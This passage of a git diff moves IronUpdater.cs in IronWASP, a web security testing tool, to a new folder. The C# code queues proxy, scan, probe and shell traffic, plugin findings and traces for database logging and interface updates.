DateTime.Now; + Thread T = new Thread(TurnOffTopMost); + T.Start(); + } + else + { + if (TopMostTime == null) + { + UI.TopMost = false; + } + else + { + DateTime CurrentTime = DateTime.Now; + if ((CurrentTime.TimeOfDay.TotalSeconds - TopMostTime.TimeOfDay.TotalSeconds) > 1) + { + UI.TopMost = false; + } + } + } + } + } + } +} diff --git a/IronWASP/IronUpdater.cs b/Iron/IronUpdater.cs similarity index 97% rename from IronWASP/IronUpdater.cs rename to Iron/IronUpdater.cs index 857dcf6..5d6bfe5 100644 --- a/IronWASP/IronUpdater.cs +++ b/Iron/IronUpdater.cs @@ -1,1242 +1,1243 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - - -namespace IronWASP -{ - public class IronUpdater - { - static bool IsOn = true; - static Queue PluginResultQ = new Queue(); - - static Queue ScanRequestQ = new Queue(); - static Queue ScanResponseQ = new Queue(); - internal static Dictionary ScanGridMap = new Dictionary(); - - static Queue ShellRequestQ = new Queue(); - static Queue ShellResponseQ = new Queue(); - internal static Dictionary ShellGridMap = new Dictionary(); - - static Queue ProbeRequestQ = new Queue(); - static Queue ProbeResponseQ = new Queue(); - internal static Dictionary ProbeGridMap = new Dictionary(); - - static Queue ProxyRequestQ = new Queue(); - static Queue ProxyResponseQ = new Queue(); - static Queue ProxyOriginalRequestQ = new Queue(); - static Queue ProxyOriginalResponseQ = new Queue(); - static Queue ProxyEditedRequestQ = new Queue(); - static Queue ProxyEditedResponseQ = new Queue(); - - static Queue ProxyRequestListQ = new Queue(); - static Queue ProxyResponseListQ = new Queue(); - - static Queue OtherSourceRequestQ = new Queue(); - static Queue OtherSourceResponseQ = new Queue(); - internal static Dictionary OtherSourceGridMap = new Dictionary(); - - internal static Queue Traces = new Queue(); - internal static Queue ScanTraces = new Queue(); - internal static Queue SessionPluginTraces = new Queue(); - - internal static Dictionary ProxyGridMap = new Dictionary(); - - internal static Dictionary MTGridMap = new Dictionary(); - - internal static List> Urls = new List>(); - - static int SleepTime = 2000; - static Thread T; - - internal static void Start() - { - ThreadStart TS = new ThreadStart(IronUpdater.Run); - IronUpdater.T = new Thread(TS); - IronUpdater.T.Start(); - } - static void Run() - { - int Counter = 0; - int MemoryCounter = 0; - - while(IronUpdater.IsOn) - { - if (Counter == 5) - { - Counter = 0; - MemoryCounter++; - - } - if (MemoryCounter == 10) - { - MemoryCounter = 0; - if (GC.GetTotalMemory(false) > 200000000) - { - GC.Collect(); - } - } - Thread.Sleep(IronUpdater.SleepTime); - Counter++; - - try { UpdateProxyLogAndGrid(); } - catch (Exception Exp) { IronException.Report("Error Updating Proxy Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if(Counter == 2 || Counter == 4) UpdatePluginResult(); - } - catch (Exception Exp) { IronException.Report("Error Updating PluginResult", Exp.Message, Exp.StackTrace); } - - try { UpdateShellLogAndGrid(); } - catch (Exception Exp) { IronException.Report("Error Updating Shell Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 5) UpdateProbeLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating Probe Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 5) UpdateScanLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating Scan Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - //if (Counter == 2 || Counter == 4) - UpdateOtherSourceLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating Other Source Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 5) UpdateSiteMapTree(); - } - catch (Exception Exp) { IronException.Report("Error Updating SiteMapTree", Exp.Message, Exp.StackTrace); } - try { UpdateTraceLogAndGrid(); } - catch (Exception Exp) { IronException.Report("Error Updating Trace Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 2 || Counter == 4) UpdateScanTraceLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating ScanTrace Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 2 || Counter == 4) UpdateScanTraceLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating ScanTrace Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 2 || Counter == 4) UpdateSessionPluginTraceLogAndGrid(); - } - catch (Exception Exp) { IronException.Report("Error Updating SessionPluginTrace Log & Grid", Exp.Message, Exp.StackTrace); } - try - { - if (Counter == 5) ThreadStore.CleanUp(); - } - catch (Exception Exp) { IronException.Report("Error cleaning up ThreadStore", Exp.Message, Exp.StackTrace); } - } - } - internal static void Stop() - { - IsOn = false; - T.Abort(); - } - internal static void AddPluginResult(Finding PR) - { - if (PR != null) - { - lock (PluginResultQ) - { - PluginResultQ.Enqueue(PR); - } - } - } - static void UpdatePluginResult() - { - Finding[] DequedPluginResult; - lock (PluginResultQ) - { - DequedPluginResult = PluginResultQ.ToArray(); - PluginResultQ.Clear(); - } - if (DequedPluginResult == null) return; - - List PRs = new List(); - foreach (Finding PR in DequedPluginResult) - { - try - { - foreach (Trigger T in PR.Triggers.GetTriggers()) - { - if (T.Request != null) - { - T.Request.StoredHeadersString = T.Request.GetHeadersAsString(); - if (T.Request.IsBinary) T.Request.StoredBinaryBodyString = T.Request.BinaryBodyString; - } - if (T.Response != null) - { - T.Response.StoredHeadersString = T.Response.GetHeadersAsString(); - if (T.Response.IsBinary) T.Response.StoredBinaryBodyString = T.Response.BinaryBodyString; - } - } - if (PR.FromActiveScan) - { - try - { - PR.BaseRequest.StoredHeadersString = PR.BaseRequest.GetHeadersAsString(); - if (PR.BaseRequest.IsBinary) PR.BaseRequest.StoredBinaryBodyString = PR.BaseRequest.BinaryBodyString; - PR.BaseResponse.StoredHeadersString = PR.BaseResponse.GetHeadersAsString(); - if (PR.BaseResponse.IsBinary) PR.BaseResponse.StoredBinaryBodyString = PR.BaseResponse.BinaryBodyString; - } - catch { } - } - PR.Id = Interlocked.Increment(ref Config.PluginResultCount); - PRs.Add(PR); - } - catch (InvalidOperationException) - { - break; - } - } - if (PRs.Count > 0) - { - IronDB.LogPluginResults(PRs); - IronUI.UpdatePluginResultTree(PRs); - } - } - - internal static void AddProxyRequest(Request Request) - { - if (Request != null) - { - try - { - Request ClonedRequest = Request.GetClone(true); - if (ClonedRequest != null) - { - lock (ProxyRequestQ) - { - ProxyRequestQ.Enqueue(ClonedRequest); - } - } - else - { - Tools.Trace("IronUpdater", "Null Proxy Request"); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Proxy Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddProxyResponse(Response Response) - { - if (Response != null) - { - try - { - Response ClonedResponse = Response.GetClone(true); - if (ClonedResponse != null) - { - lock (ProxyResponseQ) - { - ProxyResponseQ.Enqueue(ClonedResponse); - } - } - else - Tools.Trace("IronUpdater", "Null Proxy Response"); - } - catch (Exception Exp) - { - IronException.Report("Error adding Proxy Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddProxyRequestsAfterEdit(Request OriginalRequest, Request EditedRequest) - { - if (OriginalRequest != null) - { - lock (ProxyOriginalRequestQ) - { - ProxyOriginalRequestQ.Enqueue(OriginalRequest); - } - } - if (ProxyEditedRequestQ != null) - { - lock (ProxyEditedRequestQ) - { - ProxyEditedRequestQ.Enqueue(EditedRequest); - } - } - } - - internal static void AddProxyResponsesAfterEdit(Response OriginalResponse, Response EditedResponse) - { - if (OriginalResponse != null) - { - lock (ProxyOriginalResponseQ) - { - ProxyOriginalResponseQ.Enqueue(OriginalResponse); - } - } - if (EditedResponse != null) - { - lock (ProxyEditedResponseQ) - { - ProxyEditedResponseQ.Enqueue(EditedResponse); - } - } - } - - internal static void AddProxyRequests(Request[] Requests) - { - if (Requests.Length ==2) - { - try - { - lock (ProxyRequestListQ) - { - ProxyRequestListQ.Enqueue(Requests); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Proxy Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddProxyResponses(Response[] Responses) - { - if (Responses.Length == 2) - { - try - { - lock (ProxyResponseListQ) - { - ProxyResponseListQ.Enqueue(Responses); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Proxy Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - static void UpdateProxyLogAndGrid() - { - Response[] DequedResponses; - lock (ProxyResponseQ) - { - DequedResponses = ProxyResponseQ.ToArray(); - ProxyResponseQ.Clear(); - } - - List Responses = new List(); - foreach(Response Res in DequedResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Proxy Response Q", "Null Response DeQed from Proxy Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if(Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - Responses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Response[] DequedOriginalResponses; - List OriginalResponses = new List(); - lock (ProxyOriginalResponseQ) - { - DequedOriginalResponses = ProxyOriginalResponseQ.ToArray(); - ProxyOriginalResponseQ.Clear(); - } - foreach(Response Res in DequedOriginalResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Original Proxy Response Q", "Null Response DeQed from Original Proxy Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - OriginalResponses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Original Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - Response[] DequedEditedResponses; - List EditedResponses = new List(); - lock (ProxyEditedResponseQ) - { - DequedEditedResponses = ProxyEditedResponseQ.ToArray(); - ProxyEditedResponseQ.Clear(); - } - foreach(Response Res in DequedEditedResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Edited Proxy Response Q", "Null Response DeQed from Edited Proxy Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - EditedResponses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Edited Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedRequests; - List Requests = new List(); - lock (ProxyRequestQ) - { - DequedRequests = ProxyRequestQ.ToArray(); - ProxyRequestQ.Clear(); - } - foreach(Request Req in DequedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Proxy Request Q", "Null Request DeQed from Proxy Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Urls.Add(GetUrlForList(Req)); - Requests.Add(Req); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Proxy Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedOriginalRequests; - List OriginalRequests = new List(); - lock (ProxyOriginalRequestQ) - { - DequedOriginalRequests = ProxyOriginalRequestQ.ToArray(); - ProxyOriginalRequestQ.Clear(); - } - foreach(Request Req in DequedOriginalRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Proxy Original Request Q", "Null Request DeQed from Proxy Original Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Urls.Add(GetUrlForList(Req)); - OriginalRequests.Add(Req); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Original Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedEditedRequests; - List EditedRequests = new List(); - lock (ProxyEditedRequestQ) - { - DequedEditedRequests = ProxyEditedRequestQ.ToArray(); - ProxyEditedRequestQ.Clear(); - } - foreach(Request Req in DequedEditedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Proxy Edited Request Q", "Null Request DeQed from Proxy Edited Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Urls.Add(GetUrlForList(Req)); - EditedRequests.Add(Req); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Edited Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - List IronSessions = new List(); - if (Requests.Count > 0 || Responses.Count > 0 || OriginalRequests.Count > 0 || OriginalResponses.Count > 0 || EditedRequests.Count > 0 || EditedResponses.Count > 0) - { - IronDB.LogProxyMessages(IronSessions, Requests, Responses, OriginalRequests, OriginalResponses, EditedRequests, EditedResponses); - } - if (Requests.Count > 0 | Responses.Count > 0) - { - IronUI.UpdateProxyLogGrid(Requests, Responses); - } - - Response[][] DequedResponseArrs; - lock (ProxyResponseListQ) - { - DequedResponseArrs = ProxyResponseListQ.ToArray(); - ProxyResponseListQ.Clear(); - } - - List ResponseArrs = new List(); - foreach (Response[] ResArr in DequedResponseArrs) - { - try - { - if (ResArr.Length == 2) - { - if (ResArr[1] == null) - { - IronException.Report("Null Response DeQed from Proxy Response Q", "Null Response DeQed from Proxy Response Q"); - continue; - } - - if (ResArr[0] != null) - { - ResArr[0].StoredHeadersString = ResArr[0].GetHeadersAsString(); - if (ResArr[0].IsBinary) ResArr[0].StoredBinaryBodyString = ResArr[0].BinaryBodyString; - } - ResArr[1].StoredHeadersString = ResArr[1].GetHeadersAsString(); - if (ResArr[1].IsBinary) ResArr[1].StoredBinaryBodyString = ResArr[1].BinaryBodyString; - - ResponseArrs.Add(ResArr); - } - } - catch (Exception Exp) - { - IronException.Report("Error preparing Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[][] DequedRequestArrs; - List RequestArrs = new List(); - lock (ProxyRequestListQ) - { - DequedRequestArrs = ProxyRequestListQ.ToArray(); - ProxyRequestListQ.Clear(); - } - foreach (Request[] ReqArr in DequedRequestArrs) - { - try - { - if (ReqArr.Length == 2) - { - if (ReqArr[1] == null) - { - IronException.Report("Null Request DeQed from Proxy Request Q", "Null Request DeQed from Proxy Request Q"); - continue; - } - if (ReqArr[0] != null) - { - ReqArr[0].StoredFile = ReqArr[0].File; - ReqArr[0].StoredParameters = ReqArr[0].GetParametersString(); - ReqArr[0].StoredHeadersString = ReqArr[0].GetHeadersAsString(); - if (ReqArr[0].IsBinary) ReqArr[0].StoredBinaryBodyString = ReqArr[0].BinaryBodyString; - Urls.Add(GetUrlForList(ReqArr[0])); - } - ReqArr[1].StoredFile = ReqArr[1].File; - ReqArr[1].StoredParameters = ReqArr[1].GetParametersString(); - ReqArr[1].StoredHeadersString = ReqArr[1].GetHeadersAsString(); - if (ReqArr[1].IsBinary) ReqArr[1].StoredBinaryBodyString = ReqArr[1].BinaryBodyString; - Urls.Add(GetUrlForList(ReqArr[1])); - - RequestArrs.Add(ReqArr); - } - } - catch (Exception Exp) - { - IronException.Report("Error preparing Proxy Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - if (RequestArrs.Count > 0 || ResponseArrs.Count > 0) - { - IronDB.LogProxyMessages(RequestArrs, ResponseArrs); - IronUI.UpdateProxyLogGridWithArrs(RequestArrs, ResponseArrs); - } - } - - public static void AddMTRequest(Session Sess) - { - - } - public static void AddMTResponse(Session Sess) - { - - } - - internal static void AddShellRequest(Request Request) - { - if (Request != null) - { - try - { - Request ClonedRequest = Request.GetClone(true); - if (ClonedRequest != null) - { - lock (ShellRequestQ) - { - ShellRequestQ.Enqueue(ClonedRequest); - } - } - else - { - Tools.Trace("IronUpdater", "Null Shell Request"); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Shell Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddShellResponse(Response Response) - { - if (Response != null) - { - try - { - Response ClonedResponse = Response.GetClone(true); - if (ClonedResponse != null) - { - lock (ShellResponseQ) - { - ShellResponseQ.Enqueue(ClonedResponse); - } - } - else - Tools.Trace("IronUpdater", "Null Shell Response"); - } - catch (Exception Exp) - { - IronException.Report("Error adding Shell Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - static void UpdateShellLogAndGrid() - { - Response[] DequedResponses; - lock (ShellResponseQ) - { - DequedResponses = ShellResponseQ.ToArray(); - ShellResponseQ.Clear(); - } - List Responses = new List(); - foreach(Response Res in DequedResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Shell Response Q", "Null Response DeQed from Shell Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - Responses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Shell Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedRequests; - lock (ShellRequestQ) - { - DequedRequests = ShellRequestQ.ToArray(); - ShellRequestQ.Clear(); - } - List Requests = new List(); - foreach(Request Req in DequedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Shell Request Q", "Null Request DeQed from Shell Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Requests.Add(Req); - - } - catch (Exception Exp) - { - IronException.Report("Error preparing Shell Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - List IronSessions = new List(); - if (Requests.Count > 0 || Responses.Count > 0) - { - IronDB.LogShellMessages(IronSessions, Requests, Responses); - IronUI.UpdateShellLogGrid(Requests, Responses); - } - } - - internal static void AddProbeRequest(Request Request) - { - if (Request != null) - { - try - { - Request ClonedRequest = Request.GetClone(true); - if (ClonedRequest != null) - { - lock (ProbeRequestQ) - { - ProbeRequestQ.Enqueue(ClonedRequest); - } - } - else - { - Tools.Trace("IronUpdater", "Null Probe Request"); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Probe Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddProbeResponse(Response Response) - { - if (Response != null) - { - try - { - Response ClonedResponse = Response.GetClone(true); - if (ClonedResponse != null) - { - lock (ProbeResponseQ) - { - ProbeResponseQ.Enqueue(ClonedResponse); - } - } - else - Tools.Trace("IronUpdater", "Null Probe Response"); - } - catch (Exception Exp) - { - IronException.Report("Error adding Probe Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - static void UpdateProbeLogAndGrid() - { - Response[] DequedResponses; - lock (ProbeResponseQ) - { - DequedResponses = ProbeResponseQ.ToArray(); - ProbeResponseQ.Clear(); - } - List Responses = new List(); - foreach(Response Res in DequedResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Probe Response Q", "Null Response DeQed from Probe Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - Responses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Probe Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedRequests; - lock (ProbeRequestQ) - { - DequedRequests = ProbeRequestQ.ToArray(); - ProbeRequestQ.Clear(); - } - List Requests = new List(); - foreach(Request Req in DequedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Probe Request Q", "Null Request DeQed from Probe Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Requests.Add(Req); - - } - catch (Exception Exp) - { - IronException.Report("Error preparing Probe Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - List IronSessions = new List(); - if (Requests.Count > 0 || Responses.Count > 0) - { - IronDB.LogProbeMessages(IronSessions, Requests, Responses); - IronUI.UpdateProbeLogGrid(Requests, Responses); - } - } - - internal static void AddScanRequest(Request Request) - { - if (Request != null) - { - try - { - Request ClonedRequest = Request.GetClone(true); - if (ClonedRequest != null) - { - lock (ScanRequestQ) - { - ScanRequestQ.Enqueue(ClonedRequest); - } - } - else - { - Tools.Trace("IronUpdater", "Null Scan Request"); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Scan Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddScanResponse(Response Response) - { - if (Response != null) - { - try - { - Response ClonedResponse = Response.GetClone(true); - if (ClonedResponse != null) - { - lock (ScanResponseQ) - { - ScanResponseQ.Enqueue(ClonedResponse); - } - } - else - Tools.Trace("IronUpdater", "Null Scan Response"); - } - catch (Exception Exp) - { - IronException.Report("Error adding Scan Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - static void UpdateScanLogAndGrid() - { - Response[] DequedResponse; - - lock (ScanResponseQ) - { - DequedResponse = ScanResponseQ.ToArray(); - ScanResponseQ.Clear(); - } - List Responses = new List(); - foreach(Response Res in DequedResponse) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Scan Response Q", "Null Response DeQed from Scan Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - Responses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Scan Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedRequests; - lock (ScanRequestQ) - { - DequedRequests = ScanRequestQ.ToArray(); - ScanRequestQ.Clear(); - } - List Requests = new List(); - foreach(Request Req in DequedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Scan Request Q", "Null Request DeQed from Scan Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Requests.Add(Req); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Scan Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - List IronSessions = new List(); - if (Requests.Count > 0 || Responses.Count > 0) - { - IronDB.LogScanMessages(IronSessions, Requests, Responses); - IronUI.UpdateScanLogGrid(Requests, Responses); - } - } - - internal static void AddOtherSourceRequest(Request Request) - { - if (Request != null) - { - try - { - Request ClonedRequest = Request.GetClone(true); - if (ClonedRequest != null) - { - lock (OtherSourceRequestQ) - { - OtherSourceRequestQ.Enqueue(ClonedRequest); - } - } - else - { - Tools.Trace("IronUpdater", "Null Other Source Request"); - } - } - catch (Exception Exp) - { - IronException.Report("Error adding Other Source Request for updating", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void AddOtherSourceResponse(Response Response) - { - if (Response != null) - { - try - { - Response ClonedResponse = Response.GetClone(true); - if (ClonedResponse != null) - { - lock (OtherSourceResponseQ) - { - OtherSourceResponseQ.Enqueue(ClonedResponse); - } - } - else - Tools.Trace("IronUpdater", "Null Other Source Response"); - } - catch (Exception Exp) - { - IronException.Report("Error adding Other Source Response for updating", Exp.Message, Exp.StackTrace); - } - } - } - - static void UpdateOtherSourceLogAndGrid() - { - Response[] DequedResponses; - lock (OtherSourceResponseQ) - { - DequedResponses = OtherSourceResponseQ.ToArray(); - OtherSourceResponseQ.Clear(); - } - List Responses = new List(); - foreach (Response Res in DequedResponses) - { - try - { - if (Res == null) - { - IronException.Report("Null Response DeQed from Other Source Response Q", "Null Response DeQed from Other Source Response Q"); - continue; - } - Res.StoredHeadersString = Res.GetHeadersAsString(); - if (Res.IsBinary) Res.StoredBinaryBodyString = Res.BinaryBodyString; - Responses.Add(Res); - } - catch (Exception Exp) - { - IronException.Report("Error preparing Other Source Response for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - Request[] DequedRequests; - lock (OtherSourceRequestQ) - { - DequedRequests = OtherSourceRequestQ.ToArray(); - OtherSourceRequestQ.Clear(); - } - List Requests = new List(); - foreach (Request Req in DequedRequests) - { - try - { - if (Req == null) - { - IronException.Report("Null Request DeQed from Other Source Request Q", "Null Request DeQed from Other Source Request Q"); - continue; - } - Req.StoredFile = Req.File; - Req.StoredParameters = Req.GetParametersString(); - Req.StoredHeadersString = Req.GetHeadersAsString(); - if (Req.IsBinary) Req.StoredBinaryBodyString = Req.BinaryBodyString; - Requests.Add(Req); - - } - catch (Exception Exp) - { - IronException.Report("Error preparing Other Source Request for UI & DB Update", Exp.Message, Exp.StackTrace); - } - } - - List IronSessions = new List(); - Dictionary> SourceSpecificRequestList = new Dictionary>(); - Dictionary> SourceSpecificResponseList = new Dictionary>(); - if (Requests.Count > 0 || Responses.Count > 0) - { - foreach (Request Req in Requests) - { - if (!SourceSpecificRequestList.ContainsKey(Req.Source)) SourceSpecificRequestList[Req.Source] = new List(); - if (!SourceSpecificResponseList.ContainsKey(Req.Source)) SourceSpecificResponseList[Req.Source] = new List(); - SourceSpecificRequestList[Req.Source].Add(Req); - } - foreach (Response Res in Responses) - { - if (!SourceSpecificResponseList.ContainsKey(Res.Source)) SourceSpecificResponseList[Res.Source] = new List(); - if (!SourceSpecificRequestList.ContainsKey(Res.Source)) SourceSpecificRequestList[Res.Source] = new List(); - SourceSpecificResponseList[Res.Source].Add(Res); - } - - foreach (string Source in SourceSpecificRequestList.Keys) - { - IronDB.LogOtherSourceMessages(IronSessions, SourceSpecificRequestList[Source], SourceSpecificResponseList[Source], Source); - } - List OtherSourceRequests = new List(); - List OtherSourceResponses = new List(); - if (SourceSpecificRequestList.ContainsKey(IronLog.SelectedOtherSource)) - { - OtherSourceRequests = SourceSpecificRequestList[IronLog.SelectedOtherSource]; - OtherSourceResponses = SourceSpecificResponseList[IronLog.SelectedOtherSource]; - } - - IronUI.UpdateOtherSourceLogGrid(OtherSourceRequests, OtherSourceResponses, IronLog.SelectedOtherSource, new List(SourceSpecificRequestList.Keys)); - } - } - - - internal static void AddTrace(IronTrace Trace) - { - if (Trace != null) - { - lock (Traces) - { - Traces.Enqueue(Trace); - } - } - } - - static void UpdateTraceLogAndGrid() - { - IronTrace[] DequedTraces; - lock (Traces) - { - DequedTraces = Traces.ToArray(); - Traces.Clear(); - } - List TraceList = new List(DequedTraces); - if (TraceList.Count > 0) - { - IronDB.LogTraces(TraceList); - IronUI.UpdateTraceGrid(TraceList); - } - } - - internal static void AddScanTrace(IronTrace Trace) - { - if (Trace != null) - { - lock (ScanTraces) - { - ScanTraces.Enqueue(Trace); - } - } - } - - static void UpdateScanTraceLogAndGrid() - { - IronTrace[] DequedTraces; - lock (ScanTraces) - { - DequedTraces = ScanTraces.ToArray(); - ScanTraces.Clear(); - } - List TraceList = new List(DequedTraces); - if (TraceList.Count > 0) - { - IronDB.LogScanTraces(TraceList); - IronUI.UpdateScanTraceGrid(TraceList); - } - } - - internal static void AddSessionPluginTrace(IronTrace Trace) - { - if (Trace != null) - { - lock (SessionPluginTraces) - { - SessionPluginTraces.Enqueue(Trace); - } - } - } - - static void UpdateSessionPluginTraceLogAndGrid() - { - IronTrace[] DequedTraces; - lock (SessionPluginTraces) - { - DequedTraces = SessionPluginTraces.ToArray(); - SessionPluginTraces.Clear(); - } - List TraceList = new List(DequedTraces); - if (TraceList.Count > 0) - { - IronDB.LogSessionPluginTraces(TraceList); - IronUI.UpdateSessionPluginTraceGrid(TraceList); - } - } - - internal static List GetUrlForList(Request Req) - { - List UrlParts = new List(); - UrlParts.Add(Req.BaseUrl); - UrlParts.AddRange(Req.UrlPathParts); - UrlParts.Add(""); - if (Req.Query.Count > 0) - { - UrlParts.Add("?" + Req.Query.GetQueryStringFromParameters()); - } - return UrlParts; - } - - internal static void AddToSiteMap(Request Req) - { - List Url = GetUrlForList(Req); - lock (Urls) - { - Urls.Add(Url); - } - } - - static void UpdateSiteMapTree() - { - if (Urls.Count > 0) - { - List> UrlsToBeUpdated = new List>(); - lock (Urls) - { - UrlsToBeUpdated.AddRange(Urls); - Urls.Clear(); - } - IronUI.UpdateSitemapTree(UrlsToBeUpdated); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using 